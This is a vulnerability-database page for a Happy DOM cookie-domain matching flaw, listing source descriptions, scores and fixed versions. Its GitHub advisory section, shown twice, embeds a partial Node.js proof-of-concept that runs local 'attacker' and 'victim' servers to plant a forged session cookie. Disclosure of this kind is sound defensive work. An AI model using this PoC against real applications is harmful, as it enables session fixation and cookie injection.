Every CVE Search/ Get API key

CVE-2026-118661

Happy DOM: Cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies

6.5 MediumFix available

Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 20.14.6, Happy DOM's CookieContainer in src/cookie/CookieContainer.ts does not correctly validate or match Domain cookie attributes. It can accept a Domain unrelated to the origin setting the cookie, including a public suffix, and separately treats an unrelated suffix-sharing hostname as a match because cookieMatchesURL does not enforce a DNS-label boundary. In server-side rendering and prerendering applications that contact attacker-controlled origins and then make requests to a victim origin, these behaviors can plant and deliver a forged cookie, enabling cookie injection or session fixation. This issue is fixed in version 20.14.6.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
Low
Integrity
Low
Availability
None

Exploit likelihood

0.27%Unchanged since Oct 29, 2026
90%50%10%1%

What each source reports

CVE List Score used 6.5

Happy DOM: Cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies

Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 20.14.6, Happy DOM's CookieContainer in src/cookie/CookieContainer.ts does not correctly validate or match Domain cookie attributes. It can accept a Domain unrelated to the origin setting the cookie, including a public suffix, and separately treats an unrelated suffix-sharing hostname as a match because cookieMatchesURL does not enforce a DNS-label boundary. In server-side rendering and prerendering applications that contact attacker-controlled origins and then make requests to a victim origin, these behaviors can plant and deliver a forged cookie, enabling cookie injection or session fixation. This issue is fixed in version 20.14.6.

Record
CVE-2026-118661
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Weakness
CWE-565
Updated
2026-11-03
EUVDEUVD-2026-112468 6.5

Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 20.14.6, Happy DOM's CookieContainer in src/cookie/CookieContainer.ts does not correctly validate or match Domain cookie attributes. It can accept a Domain unrelated to the origin setting the cookie, including a public suffix, and separately treats an unrelated suffix-sharing hostname as a match because cookieMatchesURL does not enforce a DNS-label boundary. In server-side rendering and prerendering applications that contact attacker-controlled origins and then make requests to a victim origin, these behaviors can plant and deliver a forged cookie, enabling cookie injection or session fixation. This issue is fixed in version 20.14.6.

Record
EUVD-2026-112468
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Updated
2026-11-03
GitHub AdvisoriesGHSA-5fpq-26gf-qwcr 6.5

Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies

Summary

A cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics.

Details

happy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts.

PoC

Run:

node poc-happydom-cookie-domain.js

Full proof-of-concept source (poc-happydom-cookie-domain.js):

// PoC: happy-dom cookie-domain scoping gap -> cross-origin cookie injection / session fixation
// Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1)
//        -> attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1)
//        -> happy-dom stores it (a real browser rejects: RFC 6265 §5.3.6-7 + PSL)
//        -> app's same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie
// Run:  cd C:/Users/rncb0/AppData/Local/Temp/0day && node poc/poc-happydom-cookie-domain.js
const http = require('http');
const { Window } = require('happy-dom');

const ATK_PORT = 19311; // attacker server, 127.0.0.1
const VIC_PORT = 19312; // victim server, localhost

let victimReceivedCookies = [];

let attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=localhost; Path=/; SameSite=None; Secure`;

const attacker = http.createServer((req, res) => {
  if (req.method === 'OPTIONS') {
    // CORS preflight (happy-dom enforces same-origin policy with a preflight; the
    // attacker trivially answers it — an attacker-controlled server always can)
    res.writeHead(204, {
      'Access-Control-Allow-Origin': '*',
      'Access-Control-Allow-Methods': 'GET, OPTIONS',
      'Access-Control-Allow-Headers': '*'
    });
    res.end();
    return;
  }
  res.writeHead(200, {
    'content-type': 'image/gif',
    'Access-Control-Allow-Origin': '*',
    // Attacker claims Domain=localhost even though it is serving from 127.0.0.1.
    // A browser MUST ignore this cookie (RFC 6265: domain-attribute not a domain-match of
    // the request-host; localhost is also on the Mozilla PSL).
    'Set-Cookie': attackerSetCookie
  });
  res.end('GIF89a');
});

const victim = http.createServer((req, res) => {
  victimReceivedCookies.push({ path: req.url, cookie: req.headers['cookie'] || null });
  res.writeHead(200, { 'content-type': 'application/json' });
  res.end(JSON.stringify({ ok: true, user: 'alice' }));
});

function sleep(ms) { return new Promise((r) => setTimeout(r, ms)); }

async function runScenario(scenario) {
  victimReceivedCookies = [];
  const win = new Window({
    url: `http://localhost:${VIC_PORT}/`,
    settings: {
      enableJavaScriptEvaluation: true,
      suppressInsecureJavaScriptEnvironmentWarning: true
    }
  });
  try {
    if (scenario === 'no-plant-control') {
      // Control: app NEVER contacts attacker -> victim must receive NO cookie
      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
    } else if (scenario === 'honest-domain-control') {
      // Control: attacker sets Domain=127.0.0.1 (its own host, honest)
      // -> cookie must NOT leak to localhost victim
      attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=127.0.0.1; Path=/; SameSite=None; Secure`;
      await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);
      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
    } else {
      // attack: app fetches attacker content (scraping/SSR/third-party resource)
      await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);
      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
    }
    await sleep(150);
    return victimReceivedCookies;
  } finally {
    win.happyDOM.abort();
  }
}

async function main() {
  await new Promise((r) => attacker.listen(ATK_PORT,…
Record
GHSA-5fpq-26gf-qwcr
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Weakness
CWE-565
Updated
2026-11-02
NVD 6.5

Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 20.14.6, Happy DOM's CookieContainer in src/cookie/CookieContainer.ts does not correctly validate or match Domain cookie attributes. It can accept a Domain unrelated to the origin setting the cookie, including a public suffix, and separately treats an unrelated suffix-sharing hostname as a match because cookieMatchesURL does not enforce a DNS-label boundary. In server-side rendering and prerendering applications that contact attacker-controlled origins and then make requests to a victim origin, these behaviors can plant and deliver a forged cookie, enabling cookie injection or session fixation. This issue is fixed in version 20.14.6.

Record
CVE-2026-118661
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Weakness
CWE-565
Updated
2026-11-03
OSV 6.5

Happy DOM: Cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies

Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 20.14.6, Happy DOM's CookieContainer in src/cookie/CookieContainer.ts does not correctly validate or match Domain cookie attributes. It can accept a Domain unrelated to the origin setting the cookie, including a public suffix, and separately treats an unrelated suffix-sharing hostname as a match because cookieMatchesURL does not enforce a DNS-label boundary. In server-side rendering and prerendering applications that contact attacker-controlled origins and then make requests to a victim origin, these behaviors can plant and deliver a forged cookie, enabling cookie injection or session fixation. This issue is fixed in version 20.14.6.

Record
CVE-2026-118661
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Weakness
CWE-565
Updated
2026-11-07
OSVGHSA-5fpq-26gf-qwcr 6.5

Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies

Summary

A cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics.

Details

happy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts.

PoC

Run:

node poc-happydom-cookie-domain.js

Full proof-of-concept source (poc-happydom-cookie-domain.js):

// PoC: happy-dom cookie-domain scoping gap -> cross-origin cookie injection / session fixation
// Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1)
//        -> attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1)
//        -> happy-dom stores it (a real browser rejects: RFC 6265 §5.3.6-7 + PSL)
//        -> app's same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie
// Run:  cd C:/Users/rncb0/AppData/Local/Temp/0day && node poc/poc-happydom-cookie-domain.js
const http = require('http');
const { Window } = require('happy-dom');

const ATK_PORT = 19311; // attacker server, 127.0.0.1
const VIC_PORT = 19312; // victim server, localhost

let victimReceivedCookies = [];

let attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=localhost; Path=/; SameSite=None; Secure`;

const attacker = http.createServer((req, res) => {
  if (req.method === 'OPTIONS') {
    // CORS preflight (happy-dom enforces same-origin policy with a preflight; the
    // attacker trivially answers it — an attacker-controlled server always can)
    res.writeHead(204, {
      'Access-Control-Allow-Origin': '*',
      'Access-Control-Allow-Methods': 'GET, OPTIONS',
      'Access-Control-Allow-Headers': '*'
    });
    res.end();
    return;
  }
  res.writeHead(200, {
    'content-type': 'image/gif',
    'Access-Control-Allow-Origin': '*',
    // Attacker claims Domain=localhost even though it is serving from 127.0.0.1.
    // A browser MUST ignore this cookie (RFC 6265: domain-attribute not a domain-match of
    // the request-host; localhost is also on the Mozilla PSL).
    'Set-Cookie': attackerSetCookie
  });
  res.end('GIF89a');
});

const victim = http.createServer((req, res) => {
  victimReceivedCookies.push({ path: req.url, cookie: req.headers['cookie'] || null });
  res.writeHead(200, { 'content-type': 'application/json' });
  res.end(JSON.stringify({ ok: true, user: 'alice' }));
});

function sleep(ms) { return new Promise((r) => setTimeout(r, ms)); }

async function runScenario(scenario) {
  victimReceivedCookies = [];
  const win = new Window({
    url: `http://localhost:${VIC_PORT}/`,
    settings: {
      enableJavaScriptEvaluation: true,
      suppressInsecureJavaScriptEnvironmentWarning: true
    }
  });
  try {
    if (scenario === 'no-plant-control') {
      // Control: app NEVER contacts attacker -> victim must receive NO cookie
      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
    } else if (scenario === 'honest-domain-control') {
      // Control: attacker sets Domain=127.0.0.1 (its own host, honest)
      // -> cookie must NOT leak to localhost victim
      attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=127.0.0.1; Path=/; SameSite=None; Secure`;
      await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);
      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
    } else {
      // attack: app fetches attacker content (scraping/SSR/third-party resource)
      await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);
      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
    }
    await sleep(150);
    return victimReceivedCookies;
  } finally {
    win.happyDOM.abort();
  }
}

async function main() {
  await new Promise((r) => attacker.listen(ATK_PORT,…
Record
GHSA-5fpq-26gf-qwcr
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Weakness
CWE-565
Updated
2026-11-02
Show 6 moreShow less
OSVCLSA-2026-1793700814 No score

TuxCare security update for happy-dom (2 CVEs)

TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 20.12.0-tuxcare.2.

Record
CLSA-2026-1793700814
Updated
2026-11-03
OSVCLSA-2026-1793974322 No score

TuxCare security update for happy-dom (2 CVEs)

TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 9.10.9-tuxcare.2.

Record
CLSA-2026-1793974322
Updated
2026-11-06
OSVCLSA-2026-1793974458 No score

TuxCare security update for happy-dom (2 CVEs)

TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 9.20.3-tuxcare.6.

Record
CLSA-2026-1793974458
Updated
2026-11-06
OSVCLSA-2026-1793974549 No score

TuxCare security update for happy-dom (2 CVEs)

TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 14.12.3-tuxcare.3.

Record
CLSA-2026-1793974549
Updated
2026-11-06
OSVCLSA-2026-1793974658 No score

TuxCare security update for happy-dom (2 CVEs)

TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 15.11.7-tuxcare.5.

Record
CLSA-2026-1793974658
Updated
2026-11-06
OSVCLSA-2026-1793981813 No score

TuxCare security update for happy-dom (2 CVEs)

TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 20.8.8-tuxcare.3.

Record
CLSA-2026-1793981813
Updated
2026-11-06

Affected products

Affected packages

Affected packages
PackageAffectedFixed
happy-dom
npm
through 20.14.5
20.14.6
happy-dom
TuxCare:npm
From an advisory covering 2 CVEs
20.12.0-tuxcare.0 up to 20.12.0-tuxcare.2, plus listed versions
20.12.020.12.0-tuxcare.1
20.12.0-tuxcare.2
happy-dom
TuxCare:npm
From an advisory covering 2 CVEs
9.10.9-tuxcare.0 up to 9.10.9-tuxcare.2, plus listed versions
9.10.99.10.9-tuxcare.1
9.10.9-tuxcare.2
happy-dom
TuxCare:npm
From an advisory covering 2 CVEs
9.20.3-tuxcare.0 up to 9.20.3-tuxcare.6, plus listed versions
9.20.39.20.3-tuxcare.19.20.3-tuxcare.29.20.3-tuxcare.39.20.3-tuxcare.49.20.3-tuxcare.5
9.20.3-tuxcare.6
happy-dom
TuxCare:npm
From an advisory covering 2 CVEs
14.12.3-tuxcare.0 up to 14.12.3-tuxcare.3, plus listed versions
14.12.314.12.3-tuxcare.114.12.3-tuxcare.2
14.12.3-tuxcare.3
happy-dom
TuxCare:npm
From an advisory covering 2 CVEs
15.11.7-tuxcare.0 up to 15.11.7-tuxcare.5, plus listed versions
15.11.715.11.7-tuxcare.115.11.7-tuxcare.215.11.7-tuxcare.315.11.7-tuxcare.4
15.11.7-tuxcare.5
happy-dom
TuxCare:npm
From an advisory covering 2 CVEs
20.8.8-tuxcare.0 up to 20.8.8-tuxcare.3, plus listed versions
20.8.820.8.8-tuxcare.120.8.8-tuxcare.2
20.8.8-tuxcare.3
happy-dom
npm
before 20.14.6
20.14.6

History

History
RecordedChangedSources
affected, aliasesOSV
affectedOSV
factsEUVD, NVD
referencesCVE List
affected, aliasesOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-118661 is a medium vulnerability (CVSS 6.5) in Capricorn86 Happy-dom, published October 28, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.27%, the 19th percentile. Fixed in happy-dom 20.14.6.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open